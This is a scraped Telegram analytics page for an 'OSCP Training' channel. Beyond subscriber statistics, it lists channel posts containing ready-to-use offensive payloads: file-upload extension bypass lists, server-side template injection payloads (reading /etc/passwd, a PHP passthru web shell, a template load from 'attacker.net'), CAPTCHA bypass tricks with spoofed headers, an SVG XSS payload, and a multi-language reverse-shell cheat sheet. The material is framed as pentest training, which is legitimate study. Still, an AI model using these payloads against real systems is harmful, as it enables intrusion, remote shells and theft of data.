🔥OSCP Training🔥🛡⚔️👨🏻💻
Kanalga Telegram’da o‘tish
Offensive Security Certified Professional @CEH_training @WebHacking @pfsense @WifiHacking 🔰For safer days
Ko'proq ko'rsatishMamlakat belgilanmaganTexnologiyalar & Aralashmalar11 688
7 490
Obunachilar
Ma'lumot yo'q24 soatlar
+37 kun
-2030 kun
Ma'lumot yuklanmoqda...
O'xshash kanallar
Ma'lumot yo'q
Muammo bormi? Iltimos, sahifani yangilang yoki bizning qo'llab-quvvatlash boshqaruvchimizga murojaat qiling>.
Taglar buluti
Ma'lumot yo'q
Muammo bormi? Iltimos, sahifani yangilang yoki bizning qo'llab-quvvatlash boshqaruvchimizga murojaat qiling>.
Kirish va chiqish esdaliklari
---
---
---
---
---
---
Obunachilarni jalb qilish
Mart '25
Mart '250
0 kanalda
Fevral '25
+56
0 kanalda
Get PRO
Yanvar '25
+61
0 kanalda
Get PRO
Dekabr '24
+62
0 kanalda
Get PRO
Noyabr '24
+74
0 kanalda
Get PRO
Oktabr '24
+90
0 kanalda
Get PRO
Sentabr '24
+114
0 kanalda
Get PRO
Avgust '24
+156
0 kanalda
Get PRO
Iyul '24
+185
0 kanalda
Get PRO
Iyun '24
+219
1 kanalda
Get PRO
May '24
+259
0 kanalda
Get PRO
Aprel '24
+193
1 kanalda
Get PRO
Mart '24
+133
1 kanalda
Get PRO
Fevral '24
+179
0 kanalda
Get PRO
Yanvar '24
+189
3 kanalda
Get PRO
Dekabr '23
+188
2 kanalda
Get PRO
Noyabr '23
+176
0 kanalda
Get PRO
Oktabr '23
+154
1 kanalda
Get PRO
Sentabr '23
+204
0 kanalda
Get PRO
Avgust '23
+255
0 kanalda
Get PRO
Iyul '23
+297
0 kanalda
Get PRO
Iyun '23
+239
0 kanalda
Get PRO
May '23
+266
0 kanalda
Get PRO
Aprel '23
+218
0 kanalda
Get PRO
Mart '23
+244
0 kanalda
Get PRO
Fevral '23
+231
0 kanalda
Get PRO
Yanvar '23
+256
0 kanalda
Get PRO
Dekabr '22
+222
0 kanalda
Get PRO
Noyabr '22
+247
0 kanalda
Get PRO
Oktabr '22
+220
0 kanalda
Get PRO
Sentabr '22
+247
0 kanalda
Get PRO
Avgust '22
+199
0 kanalda
Get PRO
Iyul '22
+230
0 kanalda
Get PRO
Iyun '22
+187
0 kanalda
Get PRO
May '22
+139
0 kanalda
Get PRO
Aprel '22
+464
0 kanalda
Get PRO
Mart '220
0 kanalda
Get PRO
Fevral '220
0 kanalda
Get PRO
Yanvar '220
0 kanalda
Get PRO
Dekabr '21
+107
0 kanalda
Get PRO
Noyabr '21
+139
0 kanalda
Get PRO
Oktabr '21
+231
0 kanalda
Get PRO
Sentabr '21
+120
0 kanalda
Get PRO
Avgust '21
+135
0 kanalda
Get PRO
Iyul '21
+143
0 kanalda
Get PRO
Iyun '21
+150
0 kanalda
Get PRO
May '21
+138
0 kanalda
Get PRO
Aprel '21
+163
0 kanalda
Get PRO
Mart '21
+165
0 kanalda
Get PRO
Fevral '21
+192
0 kanalda
Get PRO
Yanvar '21
+247
0 kanalda
Get PRO
Dekabr '20
+1 077
0 kanalda
| Sana | Obunachilarni jalb qilish | Esdaliklar | Kanallar | |
| 02 Mart | 0 | |||
| 01 Mart | 0 |
Kanal postlari
| 2 | Matn yo'q... | 2 574 |
| 3 | Matn yo'q... | 2 924 |
| 4 | Wireshark.pdf | 2 737 |
| 5 | Web Application Lab Setup Guide .pdf | 2 700 |
| 6 | OSCP Cheat Sheet-2.pdf | 3 967 |
| 7 | RedTeam Scenarios.pdf.pdf | 299 |
| 8 | OSCP Exam Report.pdf | 3 954 |
| 9 | OSCP Notes 2.pdf | 4 919 |
| 10 | Matn yo'q... | 4 755 |
| 11 | File Upload Bypass -
Blacklisting Bypass
PHP → .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
ASP → .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
Jsp → .jsp, .jspx, .jsw, .jsv, .jspf
Coldfusion → .cfm, .cfml, .cfc, .dbm
Perl → .pl, .cgi
Using random capitalization → .pHp, .pHP5, .PhAr
Whitelisting Bypass
file.png.php
file.png.Php5
file.php%20
file.php%0a
file.php%00
file.php%0d%0a
file.php/
file.php.\
file.
file.php....
file.pHp5....
file.png.php
file.png.pHp5
file.php#.png
file.php%00.png
file.php\x00.png
file.php%0a.png
file.php%0d%0a.png
file.phpJunk123png
file.png.jpg.php
file.php%00.png%00.jpg | 3 953 |
| 12 | @OSCP_training
@WebHacking | 3 335 |
| 13 | SSTI (Server Side Template Injection)
Generic
${{<%[%'"}}%\.
{% debug %}
{7*7}
{{ '7'*7 }}
{2*2}[[7*7]]
<%= 7 * 7 %>
#{3*3}
#{ 3 * 3 }
[[3*3]]
${2*2}
@(3*3)
${= 3*3}
{{= 7*7}}
${{7*7}}
#{7*7}
[=7*7]
{{ request }}
{{self}}
{{dump(app)}}
{{ [] .class.base.subclassesO }}
{{''.class.mro()[l] .subclassesO}}
for c in [1,2,3] %}{{ c,c,c }}{% endfor %}
{{ []._class.base.subclasses_O }}
{{['cat%20/etc/passwd']|filter('system')}}
PHP
{php}print "Hello"{/php}
{php}$s = file_get_contents('/etc/passwd',NULL, NULL, 0, 100); var_dump($s);{/php}
{{dump(app)}}
{{app.request.server.all|join(',')}}
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{$smarty.version}
{php}echo id;{/php}
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
Python
{% debug %}
{{settings.SECRET_KEY}}
{% import foobar %} = Error
{% import os %}{{os.system('whoami')}} | 3 178 |
| 14 | Google Dorks to Find Sensitive data or dir | 2 295 |
| 15 | APIs Fuzzing for Bug Bounty.pdf | 2 863 |
| 16 | CAPTCHA Bypass
* Send old captcha value.
* Send old captcha value with old session ID.
* Remove captcha with any adblocker and request again
* Bypass with OCR
* Response manipulation.
* Use any token with the same length(+1/-1).
* Remove the param value or remove the entire parameter.
* Change the method from POST to GET(or PUT) and remove the captcha.
* Change body to JSON or vice-versa.
* Check whether the value of the captcha is in the source code.
* Add headers:
X-Forwarded-Host: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Host: 127.0.0.1 | 3 709 |
| 17 | Tryhackme.pdf | 5 849 |
| 18 | Neat trick for SVG file upload exploits. Add a foreignObject tag and include almost any working XSS payload in the SVG image file. Helpful for bypassing CSP or bypassing servers that strip strings.
Many file uploads allow SVGs and are prone to tampering.
<svg width="600" height="400" xmlns="w3.org/2000/svg" xmlns:xhtml="w3.org/1999/xhtml">
<foreignObject width="100%" height="100%">
<body xmlns="w3.org/1999/xhtml">
<iframe src='javascript:confirm(10)'></iframe>
</body>
</foreignObject>
</svg> | 4 930 |
| 19 | WhatsApp'ta OSCP Training kanalını takip edin: https://whatsapp.com/channel/0029VaDxObG17EmxK6bvmy3a | 2 745 |
| 20 | Reverse Shell Cheat Sheet
Bash;
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
Python;
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
PERL;
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
PHP;
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
Ruby;
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
Netcat;
nc -e /bin/sh 10.0.0.1 1234
Java;
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
xterm;
xterm -display 10.0.0.1:1 | 3 037 |
